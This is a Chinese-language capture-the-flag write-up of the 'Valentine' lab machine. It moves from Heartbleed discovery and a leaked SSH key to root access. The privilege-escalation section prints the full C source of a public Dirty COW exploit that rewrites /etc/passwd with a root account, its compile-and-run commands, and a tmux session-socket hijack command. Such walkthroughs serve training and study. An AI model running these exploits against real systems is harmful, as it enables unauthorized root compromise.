- 靶机信息
- 信息收集
- 漏洞利用
- 提权
- 脏牛提权
- tmux提权
可以看到主机开放了web服务和ssh服务,这里发现了valentine.htb这个子域,我们可以将它对应的解析地址添加到hosts文件中去
访问其web服务的时候,就只有一张图片,查看代码源码啥的都没有,但是这张图片的心脏在滴血,我们不难猜到是心脏滴血漏洞吧
那么我们想用脚本检测一下是否存在心脏滴血漏洞,这里有两种方法检测这个漏洞,一种是使用heartbleed.py这个python脚本,另一种是使用nmap自带的nse脚本检测
我们发现了一段base64的加密信息$text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==,解码发现明文是heartbleedbelievethehype,不知道是什么,先留着或许后面有用。
目前来说没啥可利用的信息了,我们进行扫一波目录吧。发现了三个可访问的目录
dev目录下,我们发现了一个hype_key和notes.txt这两个文件
打开hype_key发现是一堆十六进制的字符,我们解码之后发现是一个私钥
然后我们发现之前不是有一个类似密码的字符串的吗。我们尝试登陆,并且成功了,我们可以查看到user.txt文件内容
这里我们开启一个服务器,上传linpeas.sh这个脚本到目标机器上,这个脚本功能非常强大,是专门针对Linux提权的一个脚本工具。它是由Carlos P创建的,目的是列举在Linux系统上提升特权的所有可能方法。
赋予执行权限并运行这个脚本,这里有两种提权的方法,一种是脏牛提权,这个简单快捷;另一种利用tmux这个应用程序来实施提权。
这里我们发现这个Linux版本较低,那么我们可以使用脏牛进行提权
在exploit-db上可以发现利用的脚本
这是整个脚本的内容
// // This exploit uses the pokemon exploit of the dirtycow vulnerability // as a base and automatically generates a new passwd line. // The user will be prompted for the new password when the binary is run. // The original /etc/passwd file is then backed up to /tmp/passwd.bak // and overwrites the root account with the generated line. // After running the exploit you should be able to login with the newly // created user. // // To use this exploit modify the user values according to your needs. // The default is "firefart". // // Original exploit (dirtycow's ptrace_pokedata "pokemon" method): // https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c // // Compile with: // gcc -pthread dirty.c -o dirty -lcrypt // // Then run the newly create binary by either doing: // "./dirty" or "./dirty my-new-password" // // Afterwards, you can either "su firefart" or "ssh firefart@..." // // DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT! // mv /tmp/passwd.bak /etc/passwd // // Exploit adopted by Christian "FireFart" Mehlmauer // https://firefart.at // #include#include #include #include #include #include #include #include #include #include #include #include #include const char *filename = "/etc/passwd"; const char *backup_filename = "/tmp/passwd.bak"; const char *salt = "firefart"; int f; void *map; pid_t pid; pthread_t pth; struct stat st; struct Userinfo { char *username; char *hash; int user_id; int group_id; char *info; char *home_dir; char *shell; }; char *generate_password_hash(char *plaintext_pw) { return crypt(plaintext_pw, salt); } char *generate_passwd_line(struct Userinfo u) { const char *format = "%s:%s:%d:%d:%s:%s:%sn"; int size = snprintf(NULL, 0, format, u.username, u.hash, u.user_id, u.group_id, u.info, u.home_dir, u.shell); char *ret = malloc(size + 1); sprintf(ret, format, u.username, u.hash, u.user_id, u.group_id, u.info, u.home_dir, u.shell); return ret; } void *madviseThread(void *arg) { int i, c = 0; for(i = 0; i < 200000000; i++) { c += madvise(map, 100, MADV_DONTNEED); } printf("madvise %dnn", c); } int copy_file(const char *from, const char *to) { // check if target file already exists if(access(to, F_OK) != -1) { printf("File %s already exists! Please delete it and run againn", to); return -1; } char ch; FILE *source, *target; source = fopen(from, "r"); if(source == NULL) { return -1; } target = fopen(to, "w"); if(target == NULL) { fclose(source); return -1; } while((ch = fgetc(source)) != EOF) { fputc(ch, target); } printf("%s successfully backed up to %sn", from, to); fclose(source); fclose(target); return 0; } int main(int argc, char *argv[]) { // backup file int ret = copy_file(filename, backup_filename); if (ret != 0) { exit(ret); } struct Userinfo user; // set values, change as needed user.username = "firefart"; user.user_id = 0; user.group_id = 0; user.info = "pwned"; user.home_dir = "/root"; user.shell = "/bin/bash"; char *plaintext_pw; if (argc >= 2) { plaintext_pw = argv[1]; printf("Please enter the new password: %sn", plaintext_pw); } else { plaintext_pw = getpass("Please enter the new password: "); } user.hash = generate_password_hash(plaintext_pw); char *complete_passwd_line = generate_passwd_line(user); printf("Complete line:n%sn", complete_passwd_line); f = open(filename, O_RDONLY); fstat(f, &st); map = mmap(NULL, st.st_size + sizeof(long), PROT_READ, MAP_PRIVATE, f, 0); printf("mmap: %lxn",(unsigned long)map); pid = fork(); if(pid) { waitpid(pid, NULL, 0); int u, i, o, c = 0; int l=strlen(complete_passwd_line); for(i = 0; i < 10000/l; i++) { for(o = 0; o < l; o++) { for(u = 0; u < 10000; u++) { c += ptrace(PTRACE_POKETEXT, pid, map + o, *((long*)(complete_passwd_line + o))); } } } printf("ptrace %dn",c); } else { pthread_create(&pth, NULL, madviseThread, NULL); ptrace(PTRACE_TRACEME); kill(getpid(), SIGSTOP); pthread_join(pth,NULL); } printf("Done! Check %s to see if the new user was created.n", filename); printf("You can log in with the username '%s' and the password '%s'.nn", user.username, plaintext_pw); printf("nDON'T FORGET TO RESTORE! $ mv %s %sn", backup_filename, filename); return 0; }
我们将脏牛脚本下载到目标机器上
然后编译并运行这个脚本,新设置的密码为空
gcc -pthread 40389.c -o dirty -lcrypt ./dirty
除了脏牛,我们还发现以root用户运行的tmux程序
那么我们直接运行命令,就能够提权到root上了
/usr/bin/tmux -S /.devs/dev_sess



